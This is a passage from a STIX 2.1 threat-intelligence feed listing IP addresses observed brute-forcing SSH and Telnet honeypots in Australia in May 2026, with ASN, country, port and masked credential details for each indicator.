      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 16. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 38365. Organisation(s): Beijing Baidu Netcom Science and Technology Co., Ltd.. Usernames observed (masked): r**t. Passwords observed (masked): -**************-, r********6.",
      "id": "indicator--1685cf54-ef73-47ce-ad9a-9bc50092e6f1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '106.13.186.189']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T21:15:10.000Z",
      "valid_until": "2026-06-07T21:15:08.000Z"
    },
    {
      "created": "2026-05-06T21:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--bc480fb6-40e5-42e5-9ed7-ae5fffe605ad",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '111.173.158.215']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T21:15:10.000Z",
      "valid_until": "2026-06-07T21:15:08.000Z"
    },
    {
      "created": "2026-05-06T21:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--7ae6f1e1-df63-40b0-8374-30912397806d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '112.243.29.250']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T21:15:10.000Z",
      "valid_until": "2026-06-07T21:15:08.000Z"
    },
    {
      "created": "2026-05-06T21:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 134756. Organisation(s): CHINANET Nanjing Jishan IDC network.",
      "id": "indicator--3839b253-0ebf-4ac0-b45b-7b68a11f4b60",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '121.229.210.188']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T21:15:10.000Z",
      "valid_until": "2026-06-07T21:15:08.000Z"
    },
    {
      "created": "2026-05-06T21:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IQ. ASN(s): 199739. Organisation(s): Earthlink Telecommunications Equipment Trading & Services DMCC.",
      "id": "indicator--b10bc4c8-cf52-4834-b1eb-2ddebed1029d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '169.224.26.55']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T21:15:10.000Z",
      "valid_until": "2026-06-07T21:15:08.000Z"
    },
    {
      "created": "2026-05-06T21:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PA. ASN(s): 18809. Organisation(s): Cable Onda.",
      "id": "indicator--d1bad8f1-3fa3-4452-8cf6-eca9cfbc0b2a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '190.141.120.105']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T21:15:10.000Z",
      "valid_until": "2026-06-07T21:15:08.000Z"
    },
    {
      "created": "2026-05-06T21:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22, 443. Source country: NL. ASN(s): 215125. Organisation(s): Church of Cyberology.",
      "id": "indicator--c916db64-8b5a-4545-88cf-5a649116b81d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '192.42.116.97']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T21:15:10.000Z",
      "valid_until": "2026-06-07T21:15:08.000Z"
    },
    {
      "created": "2026-05-06T21:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--e70caae9-97e5-4d77-8ce0-29d2e12ec0cb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.235']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T21:15:10.000Z",
      "valid_until": "2026-06-07T21:15:08.000Z"
    },
    {
      "created": "2026-05-06T21:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 394475. Organisation(s): MCEC Fiber, Inc..",
      "id": "indicator--ff081c73-1bdd-4d5c-a08a-d46991d7285e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '204.246.39.149']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T21:15:10.000Z",
      "valid_until": "2026-06-07T21:15:08.000Z"
    },
    {
      "created": "2026-05-06T21:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--d7728f10-7521-4fd4-bfb6-cd194c58a9e8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '27.31.108.213']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T21:15:10.000Z",
      "valid_until": "2026-06-07T21:15:08.000Z"
    },
    {
      "created": "2026-05-06T21:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 13. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 9808. Organisation(s): China Mobile Communications Group Co., Ltd.. Usernames observed (masked): r**t. Passwords observed (masked): -*************-.",
      "id": "indicator--45f65564-b449-40a4-b0cb-cb6ed6e66a74",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '36.140.97.130']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T21:15:10.000Z",
      "valid_until": "2026-06-07T21:15:08.000Z"
    },
    {
      "created": "2026-05-06T21:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Heralding. Target ports: 5432. Source country: NL. ASN(s): 51396. Organisation(s): Pfcloud UG (haftungsbeschrankt). Usernames observed (masked): p******s. Passwords observed (masked): 1****6, p******d, p******s.",
      "id": "indicator--8bb3732b-822c-45c2-8f24-64fc4bd71509",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.156.87.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T21:15:10.000Z",
      "valid_until": "2026-06-07T21:15:08.000Z"
    },
    {
      "created": "2026-05-06T21:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--4165b2f5-e507-4428-9189-d24d7b33eed0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '59.173.52.137']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T21:15:10.000Z",
      "valid_until": "2026-06-07T21:15:08.000Z"
    },
    {
      "created": "2026-05-06T21:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 3215. Organisation(s): Orange.",
      "id": "indicator--7440c841-721c-45dd-a5d8-a5daa5ba0ef4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '86.246.238.127']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T21:15:10.000Z",
      "valid_until": "2026-06-07T21:15:08.000Z"
    },
    {
      "created": "2026-05-06T22:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AL. ASN(s): 35047. Organisation(s): Abissnet sh.a..",
      "id": "indicator--a7d068ff-c44a-47cc-a3bb-1ea2b2e9c676",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '109.236.46.240']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T22:15:10.000Z",
      "valid_until": "2026-06-07T22:15:08.000Z"
    },
    {
      "created": "2026-05-06T22:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AE. ASN(s): 36680. Organisation(s): Netiface LLC. Usernames observed (masked): s*****t. Passwords observed (masked): s*****t.",
      "id": "indicator--9cf78bee-28d7-4219-9fb2-f0b322f4a4d5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '31.57.216.43']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T22:15:10.000Z",
      "valid_until": "2026-06-07T22:15:08.000Z"
    },
    {
      "created": "2026-05-06T22:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CO. ASN(s): 273172. Organisation(s): INTERCARIBE TV S.A.S..",
      "id": "indicator--6dd96f55-2f6a-4d34-98e3-9d48587a8480",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '38.210.186.4']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T22:15:10.000Z",
      "valid_until": "2026-06-07T22:15:08.000Z"
    },
    {
      "created": "2026-05-06T22:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 215607. Organisation(s): dataforest GmbH. Usernames observed (masked): f*****r. Passwords observed (masked): f*********d.",
      "id": "indicator--8ffbf4a6-35a9-44cc-a6f4-917c29feafc9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '94.26.106.27']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T22:15:10.000Z",
      "valid_until": "2026-06-07T22:15:08.000Z"
    },
    {
      "created": "2026-05-06T23:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 9808. Organisation(s): China Mobile Communications Group Co., Ltd..",
      "id": "indicator--2d026f3f-4372-4b77-8199-070292e61732",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '117.175.140.121']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T23:15:10.000Z",
      "valid_until": "2026-06-07T23:15:08.000Z"
    },
    {
      "created": "2026-05-06T23:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: JP. ASN(s): 58791. Organisation(s): GMO Internet Group, Inc.. Usernames observed (masked): r**t. Passwords observed (masked): A*******6.",
      "id": "indicator--40506217-f08d-4232-8353-cc89bf637774",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '160.251.169.213']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T23:15:10.000Z",
      "valid_until": "2026-06-07T23:15:08.000Z"
    },
    {
      "created": "2026-05-06T23:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 149. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MY. ASN(s): 4788. Organisation(s): TM TECHNOLOGY SERVICES SDN. BHD.. Usernames observed (masked): r**t, u****1, 3**********4, p******s, t*******k. Passwords observed (masked): 1**********#, 1******8, 1******R, 3***********4, 3**********4.",
      "id": "indicator--e66084f4-d52c-4a91-b8bd-767d11a60616",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '175.144.16.85']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T23:15:10.000Z",
      "valid_until": "2026-06-07T23:15:08.000Z"
    },
    {
      "created": "2026-05-06T23:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 51396. Organisation(s): Pfcloud UG (haftungsbeschrankt). Usernames observed (masked): a***n. Passwords observed (masked): 1********0.",
      "id": "indicator--42d9c266-a3cd-4445-85c4-2f480e524b85",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '176.65.132.143']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T23:15:10.000Z",
      "valid_until": "2026-06-07T23:15:08.000Z"
    },
    {
      "created": "2026-05-06T23:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 51396. Organisation(s): Pfcloud UG (haftungsbeschrankt). Usernames observed (masked): A*******N. Passwords observed (masked): A*****U.",
      "id": "indicator--8c29adc5-1dd1-48cf-95e7-3222108e62be",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '176.65.132.23']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T23:15:10.000Z",
      "valid_until": "2026-06-07T23:15:08.000Z"
    },
    {
      "created": "2026-05-06T23:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 20207. Organisation(s): Gigared S.A..",
      "id": "indicator--a68b8d68-393f-4221-ae79-83bb4a5b1145",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '190.183.203.123']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T23:15:10.000Z",
      "valid_until": "2026-06-07T23:15:08.000Z"
    },
    {
      "created": "2026-05-06T23:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KE. ASN(s): 30844. Organisation(s): Liquid Telecommunications Ltd.",
      "id": "indicator--6f687ca6-0405-47c8-bf9b-473da8bf9a7d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '41.60.147.32']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T23:15:10.000Z",
      "valid_until": "2026-06-07T23:15:08.000Z"
    },
    {
      "created": "2026-05-06T23:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: DE. ASN(s): 215607. Organisation(s): dataforest GmbH.",
      "id": "indicator--3f373233-a289-4c55-883e-1959c13ab52b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-06T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '94.26.106.199']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T23:15:10.000Z",
      "valid_until": "2026-06-07T23:15:08.000Z"
    },
    {
      "created": "2026-05-07T00:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 160. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 38732. Organisation(s): CMC Telecom Infrastructure Company. Usernames observed (masked): r**t, u**r, 3**********4, a***n, p******s. Passwords observed (masked): !*******3, 1******x, 1*******d, 3***********4, 3**********4.",
      "id": "indicator--79c3b49c-4ad4-43e6-83c5-f0d30fad0268",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T00:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.63.108.25']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T00:15:10.000Z",
      "valid_until": "2026-06-08T00:15:08.000Z"
    },
    {
      "created": "2026-05-07T00:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--12cd5e06-e63a-4519-af82-b05113164653",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T00:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '167.71.44.99']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T00:15:10.000Z",
      "valid_until": "2026-06-08T00:15:08.000Z"
    },
    {
      "created": "2026-05-07T00:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: SG. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--ce743645-4e86-4339-9dc1-90abd69444ad",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T00:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '174.138.17.200']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T00:15:10.000Z",
      "valid_until": "2026-06-08T00:15:08.000Z"
    },
    {
      "created": "2026-05-07T00:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SE. ASN(s): 42237. Organisation(s): w1n ltd. Usernames observed (masked): f**1. Passwords observed (masked): f**1.",
      "id": "indicator--ef7856ac-e533-410d-b5e5-fbbb4dfca370",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T00:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '193.105.134.45']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T00:15:10.000Z",
      "valid_until": "2026-06-08T00:15:08.000Z"
    },
    {
      "created": "2026-05-07T00:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 270810. Organisation(s): Mi Conect Rede de Acesso as Comunicacoes LTDA.",
      "id": "indicator--ec2c5fc1-47c4-4dc6-bf36-52da7dc419a3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T00:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '200.219.16.158']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T00:15:10.000Z",
      "valid_until": "2026-06-08T00:15:08.000Z"
    },
    {
      "created": "2026-05-07T00:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--a642cf10-86bc-458c-b419-3a2b5c9069b2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T00:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '221.234.167.20']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T00:15:10.000Z",
      "valid_until": "2026-06-08T00:15:08.000Z"
    },
    {
      "created": "2026-05-07T00:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 269832. Organisation(s): MDS TELECOM C.A..",
      "id": "indicator--ab12eb60-7f40-42fe-a5a4-c86ffc526db4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T00:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '38.41.21.58']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T00:15:10.000Z",
      "valid_until": "2026-06-08T00:15:08.000Z"
    },
    {
      "created": "2026-05-07T00:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 269730. Organisation(s): TECNOVEN SERVICES CA.",
      "id": "indicator--c7f2b054-4b85-4ca1-bce4-16043189ba0f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T00:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '38.51.214.77']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T00:15:10.000Z",
      "valid_until": "2026-06-08T00:15:08.000Z"
    },
    {
      "created": "2026-05-07T00:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: SG. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue.",
      "id": "indicator--ad4996fe-200a-4de1-9929-f6b3de3d859c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T00:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.134.126.236']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T00:15:10.000Z",
      "valid_until": "2026-06-08T00:15:08.000Z"
    },
    {
      "created": "2026-05-07T01:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14618. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--6843fa01-6bcc-4369-86a9-4fc4d9510a47",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-07T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '13.222.129.81']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
